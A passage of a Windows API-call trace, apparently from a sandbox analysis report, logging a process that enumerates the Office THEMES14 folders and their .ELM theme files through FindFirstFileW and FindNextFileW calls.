| out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.334] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.334] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0042.334] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.335] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.335] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0042.335] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.335] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.335] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0042.335] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.335] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.335] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0042.335] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.335] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.335] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0042.336] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.336] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.336] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0042.336] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.336] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.336] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0042.337] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.337] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.337] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0042.337] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.337] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.337] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0042.337] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.337] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.337] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0042.338] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.338] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.338] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0042.338] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.338] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.338] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0042.338] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.537] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.537] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0042.538] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.538] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.538] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0042.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.539] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.539] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0042.540] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.540] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.540] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0042.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.540] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.540] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0042.541] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.541] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.541] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0042.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.542] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.542] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0042.543] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.543] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.543] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0042.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.544] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.544] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0042.544] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.544] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.544] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, 